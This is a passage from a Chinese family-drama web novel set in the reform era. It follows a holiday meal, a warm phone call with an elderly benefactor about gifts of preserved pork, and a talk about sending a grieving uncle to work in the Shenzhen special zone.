说着,又开始笑呵呵打趣苏丽珍,“可惜你这小女娃都不怎么喜欢,你爸妈和姐姐也老实,最后闹不好又要进我老头子肚子里!下次我得站门口守着,叫他们送节礼的,一人预备几条鱼或者一碗酸果子才行!” 苏丽珍失笑:“爷爷,瞧您说的,好像我平时除了鱼和酸果子,别的都不吃一样。” 苏厚德便逗她:“那好,这可是你说的。那今天中午爷爷下厨多做几道别的菜,你到时候一定多尝尝。” 这时,孟知祥也慢悠悠走过来,听见这话忍不住拆台道:“别听这老头子忽悠,这家伙八成是又想试新菜了,怕到时候做的不好吃,没人搭理他。孩子,咱们可不听他的,中午哪个菜好吃,咱们就吃哪个。要是吃着不顺口,咱们就一口不碰,都留给他吃!” 钻研新菜系大概是所有热爱厨艺的大师们的心头好。 苏厚德自然也是如此。 之前空闲的时候,除了指点李翠英,他自己也时常上手琢磨些新菜。 虽说大多数新菜的效果都非常不错,但也总有那么一两次意外,菜品出来后味道会有些特别,叫人印象深刻。 而对于这些菜品,扔,肯定是舍不得扔的,苏厚德又不愿意委屈孙女们的舌头,最后大多都是苏卫华和王树他们帮着打扫了。 苏厚德这会儿被拆了台也不生气,反而仰着脖子,一脸自信道:“不用你老家伙激我,我到时候一定做出一桌好菜,保准叫孩子们个个都喜欢!” 苏丽珍看着他们斗嘴的样子,不由哈哈大笑起来。 说笑间,苏丽珍一手一个扶着两位老人进了门,结果一抬头就与听见动静、当先迎出来的苏振东面对面碰上。 “爸、姑父,你们回来了?” 苏丽珍立刻察觉到苏爷爷搭在自己手上的那半截手臂轻轻抖了一下。 她忍不住偏头看了过去,只见苏爷爷飞快收起脸上的笑容,脸上的神情十分冷淡。 他轻“嗯”了一声,不咸不淡地应了一句“来了。”,之后便不再开口了。 一旁孟知祥赶忙笑呵呵地打圆场:“振东啥时候来的?是不是厂子放假了?这回能多待几天不?” 苏振东强压下满腹心酸,把之前告诉苏家人的话又重复了一遍:“昨晚到的……厂子那边包装配件出了点问题,连带过双节,所以给我们放了一周假。” 孟知祥便点头道:“那正好,趁着假期就留下好好陪陪我们。你卫华大哥这里可热闹了,之前就差你一人,现在你来了,咱们也团圆了。” 说完,又劝苏厚德:“你也是,难得孩子千里迢迢赶过来,你就别板着你那张脸了。大过节的,谁耐烦看你这副样子,赶快收了吧。” 苏卫华也赶忙道:“对对,今天过双节,咱们大家都乐乐呵呵的!干爸,您不是说今天要亲自下厨吗?今天食材都是我收拾的,你待会儿给我检查检查,看我收拾得合格不合格?” 大伙儿你一句、我一句的,气氛渐渐缓和起来,苏厚德脸上的神情也终于不再那么冷漠。 之后,为了保持好气氛,也怕父子俩一言不合再度冷战,大家暂时将两人分隔开。 孟知祥、苏卫华和苏振东坐在包间里头说话;苏厚德、李翠英带着三个女孩子在厨房里忙活。 因为爷爷在身边,加上苏丽珍和苏小麦一人一句耐心哄着,芽芽很快又恢复成之前活泼的样子。 在厨房还帮忙剥蒜、拿盘子,每完成一件事,就会得到大家的夸奖,小丫头因此高兴得不行,时不时跑到大厅里转几圈,像只快乐的小鸟。 芽芽的这份好心情,甚至保持到中午吃饭的时候,即便是看到了坐在另一边的苏振东,也没再像之前那样扭头就走。 虽然还是不肯多看他一眼,但是起码在他这个父亲面前,她不再总是低头沉默,而是跟其他的孩子一样能开开心心、热热闹闹地大声说话,比如告诉姑爷爷和卫华大伯桌上哪道菜里有她亲手剥的大蒜。 而芽芽欢乐的模样也让苏厚德脸色好看了不少,难得对苏振东也有了点笑模样。 在苏振东给他倒酒的时候,还破天荒地嘱咐他少喝点酒。 虽然只有这么简简单单一句话,但苏振东还是忍不住眼眶发红。 这是自那次和爸爸谈过话以后,爸爸第一次对他表露关心。 有些东西拥有时不觉得,可一旦失去了,真的是割心剜肺一样疼。 他不免想起那些独自在家的日子,自己每天形单影只,即便回到家面对的也是冷锅冷灶。妻子走了,女儿不想见他,连最爱他的爸爸也不愿管他了。 这一刻,失落、委屈、孤独,所有的情绪突然爆发,让他几乎抑制不住眼底的泪水。 可他也不想破坏这难得一家团圆的美好时刻,所以不想叫人发现他满溢的负面情绪,干脆顺手将自己杯里的酒一口灌了下去。 火辣辣的酒精刺激得他眼红脸胀,但他也找到了掩饰失态的好办法,于是干脆抱着酒瓶,一杯接一杯地给自己倒了起来。 刚嘱咐人少喝点的苏厚德:“……” 他瞪着自家这不争气的蠢儿子,尤其看他这不醉不罢休的架势,恨不能当场扑上去搥几拳。 就在他忍不住要张嘴骂人的时候,旁边的孟知祥却按住他,冲他轻轻摇了摇头。 他低声道:“我是赞成你给他一些压力,让他能尽早认清自己的处境。但凡事有度,咱们总要让他适当地排解一下,不能真的把人逼太紧。” 接着,他又话锋一转,“我知道你其实很心疼,可这也是他作为一个大男人必须要经历的……他总要学着独自面对这一切,你就随他去吧。”说完,轻轻拍了拍苏厚德的手臂。 苏厚德就真的没有开口,而是扭过头乐呵呵地给苏丽珍她们夹菜。 “珍珍啊,尝尝这道四味茄条,你肯定喜欢!” “小麦,这是椒麻鸡,能吃麻辣味,你就多吃点。” “卫华、翠英,你们自己夹啊!尝尝我这手艺退步没!” 而一直坐在苏厚德身边,将刚刚孟知祥的话听得一清二楚的苏丽珍,看着老人眼底隐隐的水光,心里不免一阵涩然。 明明这道四味茄条,取酸、甜、咸、辣四味而成,味儿多而不杂,彼此相辅相成,达到一个口感上的最佳平衡,是绝妙的美味。 可此刻苏丽珍吃到口中,却只觉得发苦。 上辈子她执迷不悟的时候,她的爸爸妈妈是不是也同此刻的苏爷爷一样痛苦呢? 第142章 苏丽珍找了个借口从包间里出来。 她怕自己再待下去,内心那股沉闷的情绪会不小心流露出来,让家人担心,更怕苏爷爷为此难以自处。 在卫生间胡乱洗了把脸,又打开大厅的一扇窗子吹了一小会儿风,她算了算时间,准备到后厨把灶上温着的牛骨汤端出来,然后就回包间。 恰巧经过收银台时,台案上的电话响了,她忙过去接了起来。 “你好,这里是珍珍火锅店。” 电话那头立即便有老人慈祥的声音回应道:“你好,小同志,请问厚德在不在啊?” 听老人要找苏爷爷,又是这样的称呼,苏丽珍心里立即对对方的身份有了猜测:“您是沈爷爷吧?” 对方连忙道:“对、对,好孩子,我的确姓沈。” 苏丽珍下意识看向包间的方向,解释道:“苏爷爷在包厢里吃饭,沈爷爷您稍等一下,我这就去帮您喊他。” 没想到对方却在电话里叫t住她:“在吃饭啊?那就不用叫了,今天过节,让他好好吃,别打扰他。反正我也没什么事,就是打听打听。” 接着,老人又笑呵呵问起她来:“小同志,我要是没猜错的话,你就是厚德新认的干孙女,叫珍珍的小姑娘,对不对?” 苏丽珍听着老人分外慈和的声音,心里也软软的。 虽然她这辈子不愿意再跟沈家人接触,但对这位沈老爷子却有些不同。 苏爷爷一生坎坷,多亏了这位沈老爷子三番五次雪中送炭,所以对方既是苏爷爷的恩人,也是他的贵人。 沈老爷子对苏爷爷是真的非常关心。就说自打苏爷爷留在凤城,得知他在苏家落脚后,老人家就经常打电话关心。 说起来,她爸和她妈也都接到过这位沈老爷子的电话,彼此也算是正式认识过了。 唯独苏丽珍,不知道是不是凑巧,几次都不在,这次还是她第一次跟老人家通电话。 她语调轻柔地回答道:“是的,沈爷爷,我就是苏爷爷的干孙女。我叫苏丽珍,您叫我珍珍就好。” 电话那头传来老爷子爽朗的笑声:“好、好,那咱们今天就算正式认识了!珍珍啊,其实我经常听你干爷爷提起你,他说你又聪明、又能干,还十分贴心,长得也漂亮,可把我老头子羡慕得够呛!” 听着老爷子的笑声,苏丽珍也不由跟着笑起来:“沈爷爷,干爷爷也跟我说过您的事,尤其提到了您的孙辈们,说他们都像您年轻时候一样,有勇有谋,性情坚韧,是同龄人中的佼佼者。” 一句话夸了祖孙两代人,沈老爷子很是受用,嗓门都不自觉高了几分:“厚德是看着他们几个长大的,这才看他们哪哪儿都好,其实就是一群硬邦邦的倔小子。不过他有一句话没说错,我老沈头当年确实是有那么一点点厉害的,哈哈。” 苏丽珍:“沈爷爷您太谦虚了!按照我听来的,哪里是有一点,是非常厉害才对。” 沈老爷子哈哈直乐:“珍珍太会说话了!难怪你干爷爷去了一趟就不想回来。看来什么时候有机会,我老头子也得再去一趟凤城,也好看看你这个机灵的小家伙。” “那我们可太欢迎了。”苏丽珍立刻就注意到沈老爷子话里那个“再”字,忍不住好奇地问道:“沈爷爷,听您话里的意思,您是之前来过凤城吗?” 沈老爷子笑呵呵道:“是啊,我当年跟随部队刚好经过那里,在那儿修整了两个月。说起来,凤城真是个好地方,人杰地灵,物产可丰富了。那边的山不高,但是野味特别多。我们在的那两个月,得空了不是上山抓野味,就是下河捞鱼。没办法啊,那会儿条件不好,这些就算难得的油腥了!” 苏丽珍两辈子都听苏爷爷提起过那段艰难的岁月,也听苏爷爷说过,那些年沈老爷子虽然身居高位,但一直都是跟战士们同吃同睡,从没享受过什么特殊待遇。 有时候,苏爷爷心疼他受过伤、又那样辛苦,想私下弄点好东西给他补身体,还要事先想好理由哄骗他。 想起这些,她心里就越发对电话那边的老人多了几分崇敬。 沈老爷子兀自说道:“说到野味啊,其实那些东西肉少又柴,做起来还很费事,远比不上家养的。但你干爷爷能干啊,什么东西到他手里总能做出别人做不出来的味道。” “那会儿他一做点什么好的,就要用勺子提前盛出来一点,非让我给他试菜!说他过去家里穷,没做过好东西,生怕自己做不好糟蹋了好材料……哼哼,这小子,真当我不知道他是什么来历呢!” 说着说着,他不禁又咂了咂嘴,“这么一说,我又有点馋这老伙计的手艺了。珍珍小同志,人老了,毛病就多,你可不准笑话我哦,哈哈哈!” 苏丽珍赶忙道:“我哪里会笑话您!干爷爷做饭确实好吃,不瞒您说,赶上他老人家在我家下厨的时候,我们所有人吃饭的时候都特别积极呢。” 说罢,一老一少隔着电话都发出了知音一般理解的笑声。 不过苏丽珍很快又给老人家出起了主意:“沈爷爷,正巧振东叔现在在凤城,您要是想干爷爷的手艺,不如我们趁这几天做些熏肉干或者干香肠,到时候让振东叔给您捎回去,就是不知道您爱不爱吃?” 沈老爷子立马高兴地连连应道:“好吃、爱吃,熏干肠最好吃了,切一盘放锅里一蒸,配点烧酒,美死个人呦!” “不过,我也知道这些做起来很麻烦的。珍珍啊,沈爷爷就厚着脸皮麻烦你们了。而且我老头子也一定不让你们白忙,到时候给你们寄礼物过去。” 苏丽珍没有回绝老人的好意,大大方方地一口答应下来:“好啊,那就等于我们互换礼物了。” 可随即,她又想到沈爷爷已经七十六岁了,担心老人家的牙口吃肉干和干肠不方便,于是脑子里飞快思索了一圈,还真给她想到一道菜,当即道:“沈爷爷,我突然想到干爷爷的书里介绍过一种坛子肉,是把猪五花先腌制、再油炸,然后统一倒进坛子里密封,最后在阴凉处存放二十天以上而成。” “这种坛子肉不但存放时间长,而且味道比新鲜猪肉更鲜美,最重要的是口感软糯,老少皆宜。我想着不如让爷爷也做上这么一坛,您想不想吃?” 听她这么一说,电话那头的沈老爷子感觉肚里的馋虫都蠢蠢欲动,忍不住道:“哇,听你说着我就好想吃啊!” 但他又有些犹豫,“可是做这么多会不会太麻烦了?而且也太劳烦振东了。” 苏丽珍想了想,到时候坛子就不选太大的,里头肉块切得小一些,码放整齐,尽量多装。再在坛子外面多罩几层网兜,苏振东一个大男人拎着也不费劲。 而且眼下不比春节期间,长途火车上的人不算多。加上政策放开后,卧铺票也不难买,等启程当天让她爸买张站台票帮着送上车,应该不难应付。 苏丽珍将自己的想法告诉沈老爷子,并且宽慰老人家道:“虽然我是慷他人之慨,不过我知道如果这些是送去给您吃的,干爷爷他一定比谁都高兴。所以到时振东叔说不定还会嫌我们做得少,不够他去跟爷爷邀功呢!” 沈老爷子一听这话,立马乐了,跟着附和道:“就是、就是,振东这臭小子这几年钻牛角尖,总惹你干爷爷生气,咱们得帮帮忙,给他个表现的机会……嗯,这就叫‘戴罪立功’!” 这话说完,一老一少隔着电话线再次默契地大笑起来。 不过,笑完后,苏丽珍还是认真叮嘱道:“沈爷爷,我听干爷爷说您心脏不太好,到时候肉捎回去了,您可不能贪多,一定要荤素搭配,饮食均衡。” 沈老爷子听出她话语中的关切,是真的担心他嘴馋控制不止,当即拍着胸脯保证道:“珍珍放心,沈爷爷一定会注意的,我让他们监督我,你到时候看我表现!” 苏丽珍抿嘴直乐,顺着这话故作严肃道:“好,我相信沈爷爷的保证。如果您到时表现不好,我会第一时间跟干爷爷报告,并建议他减少冬天给您的干肠数量。” 沈老爷子立马也郑重表示:“好,我老沈头坚决服从珍珍小同志的一切指示,保证说到做到。如果我违反指示,就照珍珍小同志说的,扣掉我将来的干肠数量。” 首都,沈家。 已经不动声色听了好一会儿壁角的沈瑞,看着对着电话郑重其事行军礼的自家爷爷,脸上的表情有些无语。 这老爷子真是年纪越大、越像小孩子。 不过更让他没想到的是,对着他一贯躲避、疏离,要不就各种假装客气正常的人,居然能跟他爷爷这么聊得来。 看老爷子全程笑得这样开心,一把年纪还耍宝,想必电话那头的人也一定是跟在德叔面前一样,总表现得贴心又投契。 他知道,以她的聪慧和城府,想讨一个人喜欢、进而友好相处算不得难事,只看她自己的心意而已。 反正说来说去,合着就他不招人待见。 沈瑞想到这,都有些气笑了。 于是,他轻咳了一声,果断出声:“爷爷。” 沈老爷子注意力果然被转移,抬头看了过来。 沈瑞笑眯眯道:“晴晴醒了,到处找不到您,哭得厉害。” 沈老爷子一听说心爱的重孙女睡醒了找自己,心里有点惦记,但又觉着跟珍珍小同志实在投缘,一时t还有点舍不得挂掉,只好道:“你先让他们支应一下,别叫晴晴哭了,等我再跟珍珍说两句,然后就过去!” 沈老爷子没捂着话筒,两人的对话自然都传了过去。 如沈瑞想的一样,电话那边立马响起某女孩善解人意的声音:“沈爷爷,既然您有事就先去忙吧,咱们来日方长。或者等晚些时候,干爷爷给您回电话,您也可以随时找我聊天。” 恰巧这时,书房外隐隐传来孩子的啼哭声,这下沈老爷子可真着急了,只得不无遗憾道:“那珍珍,咱们今天就先聊到这儿。主要是我这小重孙女刚满周岁,跟我亲得很,一会儿看不着我就着急。好孩子,咱们说好了,等有空的时候,沈爷爷再给你们打电话。” 电话那边:“好的,沈爷爷,我记着呢。您快去忙吧。” 旁边沈瑞见差不多了,在旁边适时插了一句:“爷爷先别挂,我有点事还想跟苏小姐打听一下。”声音足够大,只要那边不聋,肯定听得见。 沈老爷子见状,也没问什么事。他跟家里的小辈关系都好,但平时从不瞎打听,也不轻易插手他们的事。 所以,他只对着电话说了声“珍珍,再见啊。”就把电话递给了孙子,然后急匆匆往书房外走,想赶紧去看重孙女。 沈瑞看了爷爷的背影一眼,把电话凑近耳边,结果刚“喂”了一声,就听见电话那头“嘟嘟”一阵忙音。 很好,对面直接把电话挂了。 沈瑞这回又气笑了。 第143章 苏丽珍撂下电话后,又有些后悔。 实在是一听说沈瑞要跟她通话,她几乎是条件反射,第一时间就挂了电话。可仔细想想,这样跟之前有什么分别?明摆着又是“此地无银三百两”。 不过是隔着电话线应付几句,她做什么非得要躲? 尽管心里暗暗把自己埋怨了一顿,可一离开收银台,她就迅速钻进了后厨。 以她对那人的了解,这电话肯定是要再打回来的。 反正第一次已经挂掉了,索性她就装到底,当做是要端汤、腾不开手,等包厢里她爸妈他们听见电话响,自然就过来接了。 反正家里大事小情,她从没有瞒过父母和小麦姐。不管他想打听什么事,他们都能当场答复,没必要非得她来接。 她脑子里念头一起,果然就听见大厅里电话铃再次响了起来。 她淡定地从灶上端起温着牛骨汤的砂锅,一从后厨出来就加快脚步往包间去。 结果才走几步,就见包间门口,李翠英探出头来,急急朝她比了个接电话的手势。 苏丽珍刚想以端汤的借口让她妈过来,没成想这嘴还没张呢,李翠英又迅速钻回了包间内。 苏丽珍:“……” 没办法,她只好走回去,放下汤锅,不甘不愿地拿起电话。 “喂,这里是珍珍火锅店。” 听见这声音,沈瑞挑了下眉。他以为按照她平时的风格,应该死活不会再接电话才是。 他眼前不由浮现起对方一脸不乐意、又无可奈何的神情,之前那股闷气一下就散了大半,甚至颇有些好心情地跟对方打招呼:“哦,你好,苏小姐,看来碰巧又麻烦你了。” 苏丽珍假装没听出他的阴阳怪气,尽量让自己声音听上去分外平和:“沈先生,请问有什么事?” 沈瑞也没打算揪着不放,笑眯眯道:“哦,是这样,我想跟苏小姐确认一下,孟伯伯最近的身体情况。” 孟姑爷爷? 苏丽珍有些纳闷,他怎么突然想起问这茬?还弄得这么郑重其事的。 她直觉这人该是又有了什么算计,但她不想多问,只按下心中疑问,一板一眼地答道:“孟姑爷爷半个月前去医院做了复查,医生说他恢复得不错,让他今后继续保持。” 那边沈瑞便又问:“那依苏小姐看,孟伯伯现在的身体能否承担一些工作呢?当然,不是什么体力劳动,是类似顾问和指导这样的工作。” 苏丽珍听他这么说,想到孟姑爷爷的经历,心里立时有了猜想,便也斟酌道:“如果只是你说的这种不需要耗费太多精力的工作,他老人家应该还是能承担的。” 电话那头沈瑞的声音立刻多了一丝轻松:“那还好。事情是这样的,我计划在深市这边办一家家电厂,初期预备安排两条生产线,一条生产录音机,一条生产彩色电视。有些电子技术方面的问题希望请孟伯伯出山进行专业指导。” 这跟苏丽珍猜测的差不多。 只是这种事,以他跟苏爷爷和孟姑爷爷的关系直接说就可以了,何必要拐着弯跟她打听? 像是知道她心中疑问,沈瑞也没卖关子,温润的声音轻缓地自话筒中流淌出来,细致地为她解惑。 “我这个计划去年的时候就有了。只是那时候孟伯伯的状态很不好,又丝毫不愿离开太平庄半步,我也就一直没有提。但是上次等我回去再见到孟伯伯,或许是因为德叔和你们家的缘故,他看上去倒是远比之前强,对搬离太平庄这件事也不再抵触。所以我又萌生了之前开厂的念头。” “不过,虽说我是发财心切,但我也并不想勉强孟伯伯,更不想让德叔夹在中间为难。所以我想先找你确认一下,如果我这个时候请孟伯伯出山的话,以他现在的身体和精神状况是否能应付得来?” 苏丽珍听完恍然,原来是这样。 以他沈家和孟苏两家的交情,如果直接向孟姑爷爷提出请求,那不管是孟姑爷爷还是苏爷爷,肯定都不会拒绝。 她恍惚记得,当初孟姑爷爷一家三口能被一起下放到太平庄,也是沈家人给使了力气的。 别看太平庄穷了点,可那时候大家都穷,太平庄有山有水,起码想填饱肚子不难。而且那些年,太平庄的大队干部也没少看顾孟姑爷爷一家。 只是无奈孟姑爷爷的妻子和儿子之前就积弱成疾,大条件不好的情况下,这才没挨几年就先后过世了。 但说到底,孟姑爷爷和苏爷爷是欠了沈家的,更不用说孟姑爷爷之后独自留在太平庄的几年里,沈瑞也花了不少心思。 所以就孟姑爷爷而言,他是绝对不会拒绝后者的任何请求。 想到这些,苏丽珍突然觉得电话那头的人倒是真的有一颗玲珑心,也不枉苏爷爷得空就要惦记惦记他,做点什么好吃的都要把“小瑞也爱吃”这话挂在嘴边。 因为对方的这份真心,她便也暂时抛开了那些负面情绪,态度难得的真切了几分。 “沈先生,我觉得你可以直接跟孟姑爷爷商量这件事。” 顿了顿,她又委婉地建议道:“不过,深市毕竟离得太远,孟姑爷爷现在又每个月固定都要去太平庄一趟。你应该了解,他老人家的心结正缘于此,所以我希望沈先生可以提前跟孟姑爷爷商定一个方案,不至于让他心里一直记挂这件事。” 电话那头立刻道:“我明白苏小姐的意思,其实我手上还有两个这方面的人才,但是专业上肯定不如孟伯伯精深。我这次让孟伯伯过去,一方面是技术指导,另一方面也是请他帮我指点一下这两个人,直到他们能顺利上手。” “这个过程不会太久,短则三月,长则半年。在这期间,我也会聘请帮佣,能随时照顾孟伯伯。” 苏丽珍听他安排得面面俱到,也跟着放心了不少。 至于沈瑞什么时候跟孟姑爷爷提这事,她就不多嘴打听了。不过以她对对方的了解,就算这件事可以在电话里说,沈瑞到时候也肯定要亲自来一趟。 说完了这事,她琢磨着这电话应该也说得差不多了,正准备招呼一声挂电话,就听对方继续不慌不忙道:“另外,我还有一个想法,想听听苏小姐的意见。” 意见,听她什么意见?她的意见就是希望他别听她的意见。 那股子熟悉的烦躁情绪又要冒头,苏丽珍无奈,只得勉强按捺住心底的不耐,听对方说完。 “苏小姐,我这次请孟伯伯出山,顺便也想让振东哥跟着到南方走一趟。” 一听这话,苏丽珍倒是来了点精神:“你是说,让振东叔跟着你去特区?”她随即反应过来,“你想让他留在特区发展?” 电话那头立时便响起一阵低沉的笑声,不知道怎么搞的,这笑声就像紧贴在苏丽珍耳边发出的,让她有些不自在地把听筒拿的稍远了些。 “苏小姐果然冰雪聪明,我确实有t这个想法。之前我曾跟东哥建议过,让他跟着我出去走一走,他当时虽没有马上接受,但也明显有几分意动。” “不过,我觉得对于眼下的他来说,最好的办法还是彻底换一个新环境。这个新环境要能调动他的积极性,让他重新生出打拼的心思。这么做,不见得能让他完完全全从过去走出来,但至少能帮他树立新的目标,至少可以振作起来。” 这想法倒是与苏丽珍不谋而合。之前看到顾英杰和大河,她心底便也萌生出帮振东叔开展一份新事业,以此转移注意力的念头。 只是没想到沈瑞也是这么想的。 苏丽珍想到刚刚对方说想问一下她的意见,便有些不确定道:“所以,你是希望我帮你去劝振东叔,让他答应这件事,是吗?” 听她这么问,沈瑞也有些惊讶:“听苏小姐的意思,你似乎一点也不觉得我让东哥留在特区的想法有什么不对?” 如果她觉得让苏振东在特区发展的想法很糟糕,她会直接反问他,为什么要生出这样的想法,而不是问都不问,就来确定是否需要她帮忙去劝解。 这个认知有点出乎沈瑞的意料。 毕竟没有亲眼见证过特区的繁华以及令人瞩目的发展速度的人,是很难想象到有人会为此愿意放弃一份“铁饭碗”的。 而她不但想到了,甚至还很快接受了。 这说明在她的认知里,留在特区的发展潜力远超眼下一家普通单位的一份普通正式工作。起码对苏振东来说,就是如此。 能有这样的认知,已经不单单是聪明与否了,它也说明了一个人的眼界和格局。 他一直知道苏丽珍聪慧,也听亲近的人讲过她平时有钻研报纸和时评的习惯,可没想到这女孩的优秀还是超出了他的想象。 而今天再次认证了这一点的沈瑞,心情格外好,不觉间声音也染上了笑意:“我能问问苏小姐为什么这么想吗?” 可与他的好心情不同,电话这头的苏丽珍却是面色微变。 她怎么又忘了这茬! 就刚刚那个问题,一般人肯定都会觉得是他想法奇怪吧! 现如今,是个人都知道城里一份正式工作有多难得!哪有人放着好好的正式工作不要,大老远跑到南边特区去,这不是脑子进水了吗? 偏偏就她还想着振东叔走对方的路子也不错,要是能借着他沈瑞的便利,说不定还能在特区有一番作为。 可现在回头一看,她这想法与时下的主流趋势实在不同。 而这份“与众不同”恰恰是她最不希望让沈瑞发现的。 她一面暗恨自己不警惕,又在对方面前露马脚;一面勉力收摄心神,脑中飞快思索应对的话。 好在是隔着电话线,对方也看不到她的脸色,只听声音,她调整得也很快。 “我也没什么想法,不过是之前在收音机里听到一些关于特区的报道,了解到那边发展迅速、潜力很大罢了。况且,以沈先生的高瞻远瞩,如果那边的路不好走,想必你也不会让振东叔过去。” 最后直接一个“四两拨千斤”,反正除了这些,她再不会多说。 面对沈瑞这种人,多说就多错。 沈瑞听完只是一笑,他知道这女孩心里的想法肯定比这多,不过是不愿意在他面前说罢了。 但是不知道出于什么原因,他这次倒没像往常一样暗生气恼,只是心里有那么一点遗憾罢了。 “苏小姐看来对我很有信心。” 他接着告诉苏丽珍道:“我有确切的消息,东哥现在的酱厂因为连年亏损,大约今年年底之前就会被合并重组。” 第144章 这事苏丽珍是知道的。 她记得上辈子苏爷爷告诉过她,苏振东所在的酱厂倒闭后,他就失了业,要不是这一连串的打击接踵而至,他也不至于听信别人的撺掇,一意孤行要跑去米国闯荡。 她丝毫不怀疑沈瑞的消息可靠性,不过如果按照他的说法,那间酱厂只是被合并的话,那依照现行的政策,苏振东的工作可以另行安排,不至于就直接下岗。 像是知道她的疑惑,那边沈瑞兀自解释道:“本来这对东哥来说是件好事。他在的那间酱厂与其说是厂子,不如说是个小作坊,没有规模可言,内部设施器具更是陈旧粗陋,其实东哥待在那里是屈才了。” “只是我昨天收到消息,组织对原本预定接收酱厂的单位另有安排,转而计划将酱厂与另一家副食厂合并。但据我所了解,这家副食厂效益也不太好,除了规模上比原先那家酱厂强一些,其他方面并没有多少优势。” “他们目前大多靠财政拨款来维持厂子内的基本运转,与酱厂合并后,政府应该会予以一定的资金扶持,短期内也许还好。但如果不能尽快想办法扭亏为盈,那之后的路依旧难走。” 苏丽珍这下听明白了,估计上辈子这家副食厂也没坚持多久,最终等着苏振东的依然是彻底失业的结局。原本以为换个地方能有一个新的开始,没想到结果还是一样令人失望,当真是一波三折。 而这样的波折对于前世正完全处于低谷期的苏振东来说,不啻于又一次精神折磨。 “其实前几年大规模平反后,我爷爷有意再帮东哥调动一下工作,但是不管是德叔还是东哥本人都态度坚决地拒绝了。所以我才想即便是说服他们,给东哥安排一个新工作,但他每天照旧要面对这座带给他痛苦记忆的城市和一成不变的生活。与其要换新环境,倒不如换个彻底,去到一个完全陌生、但机遇也更多的地方,从头来过。” 苏丽珍握着电话静静地听着,不管她承不承认,起码这一刻,对沈瑞的用心良苦,她是感激的。 所有能让她重视的人免于上辈子不幸结局的人,她都感激涕零,哪怕这个人是沈哲的家人。 于是,她也对电话那头郑重道:“沈先生,我赞同你的想法,我会试着劝说振东叔跟着你去南方发展。” 不过,她也没把话说死,“但是如果振东叔不同意,或者从始至终没有这个念头,那我只会建议他多去你那边看看,权当是散心。” 她不会把帮助苏振东的希望都放在沈瑞一个人身上,如果振东叔心里不愿意留在南方,她自信还有别的办法能让他振作起来,再不至于因为绝望而一意孤行。 当然,这个话就没有必要跟对方说了。 沈瑞听出她重视的态度,唇角忍不住往上扬了扬:“苏小姐尽力就好。毕竟对于我来说,能让苏小姐毫不犹豫地站在我这边一次,就算是不小的收获了。” 听见这话,苏丽珍有些不自在。 她下意识不愿深想,也不打算再跟对方聊个没完,不失礼貌地打了招呼就果断挂了电话。 另一头,沈瑞对着又一次嘟嘟作响的话筒,心情却明显好了不少。 慢条斯理地将电话放好,抬眼扫了眼墙上的挂历,他心里算计着接下来的行程,唇角再次高高扬起。 中秋,果然是有收获的节日。 这边苏丽珍放下电话后,重新端起砂锅往包厢走。 她心里默默复盘了刚刚与沈瑞的通话,不知道是不是因为振东叔的事情有了眉目,虽然还是为自己不够谨慎而懊恼,但整体心情倒比之前好了点。 只是走了几步后,她忽然察觉到似乎有哪里不对劲。 直到无意识扫过空旷安静的大堂,她才猛然反应过来,她前后接了两通电话,加起来怎么也有小二十分钟了,结果这么长的时间里,包间里她爸妈、小麦姐和苏爷爷他们一个也没出来过。 这很不对劲儿,要放平常,以他们宝贝她的程度,早就出来找她了。 尤其刚刚,她妈着急忙慌地只跟她比了个手势,都没来得及说一句话,分明像是有什么事绊住了,脱不开身似的。 难不成包厢里苏爷爷父子俩吵起来了? 这么想着,她赶忙加快了脚步。 等到了包厢门口,因为房间门是敞开的,中间只隔着一道原木珠帘,所以她也没法在门外细听。 赶巧在门边的李翠英一看见她端着汤锅过来,赶忙帮她掀起了珠帘。 她抬眼往屋里一扫,这会儿只有苏爷爷和孟姑爷爷还坐在席间。苏爷爷的脸色很不好,面前的筷子只剩一支,酒杯也是倒了的;她爸站在旁边陪着,目光忧心忡忡。 芽芽垂着头窝在苏小麦怀里,情绪很低落,整个人又像之前一样,好像把自己隔绝在自己的小世界里,t不去看任何人。 而当她的目光与小麦姐对视时,对方则稍微朝她摇了摇头,又把目光转向对面的苏振东。 苏丽珍顺着她的眼神看过去,就见坐在侧对门口位置的苏振东这会儿整个人缩在椅子上,把脸深深埋在双手间,肩膀一抖一抖的,间或有一、两道压抑的哭声传出。 只一照面,屋里这凝滞、沉闷的气氛便让苏丽珍知道,在她出去的这段时间,苏爷爷父子俩怕是真的大吵了一架。 李翠英没让苏丽珍动手,亲自接过闺女手上的汤锅,就将它轻轻放在桌面上,动作可以说十分小心翼翼。 似乎大家总有这么个不成文的“规矩”,会习惯性地给争吵过后的人们一个无比安静的环境,好像但凡发出一点响动,就会惊扰来之不易的安宁,让“战火”重燃。 但李翠英的这份小心落在苏厚德眼中,却让他心底涌起了一股心酸和愧疚。 原以为糊涂儿子这次来是有了长进,但事实证明,显然是他太过于乐观。 这会儿眼见着亲生儿子这样不争气,搅扰得孝顺他的干儿子一家都过不好节,他想想就忍不住张嘴骂人。 可话到了嘴边,记起几年来这样的斥责已经不知道有过多少回,一次次的恨铁不成钢每每也只换来失望,又顿生无力,竟是连骂人都提不起劲了。 苏厚德一瞬间像苍老了好几岁,良久才开口道:“算了,我不想再跟你废话了,你想怎么着就怎么着吧。我还想多活几年,好把芽芽带大。” “苏振东,你给我听好了,以后我是真的不会再管你了。所以,吃完这顿饭你就走吧!卫华他们心眼好,愿意看顾我这个没用的糟老头子,没道理还要为你个不知好歹的混账,闹得连节都过不好。” 旁边苏卫华赶忙劝道:“干爸,我知道您老人家现在在气头上,可您还是别说这种气话。有啥事咱们商量着来,您要真把我们当一家人,就别这么见外。” 李翠英也上前安抚道:“是啊,干爸,振东兄弟也不容易。我看他这次来瘦了不少,想来一个人在那边,日子也难得很,您就消消气吧。” 苏丽珍看向苏振东,见他始终保持着先前的姿势坐在那里,一动不动、也不吭声,唯独撑着脸的两只手都攥得紧紧的。 看这样下去不行,孟知祥叹了口气,站起来又对苏振东道:“振东啊,那杜晓兰辞了工作,跑去深市,你就一定要跟着去。那假如有一天她要出国,你要怎么办呢?” 苏丽珍一听这话,顿时惊讶不已。难怪苏爷爷会和振东叔吵得这么凶,原来这里头是这么个缘故。 随即又有些头疼,偏偏是这个节骨眼上闹出这样的事,那她答应沈瑞劝说振东叔去深市发展的事便暂时不能开口,便只是单纯去那边散心的话也不好提了。 那边孟知祥还在苦口婆心规劝:“你我都知道,这完全是有可能的。那个男人本来就有外国背景,现在政策也开放了,他们完全有可能说走就走。” “我只问你,真到了那个时候,你难道还要撇下你的父亲和女儿,继续追着他们到国外吗?” 大家都把目光看向苏振东。 屋子里一时安静地落针可闻。 苏振东慢慢抬起脸,伸手胡乱抹了把脸上的泪。 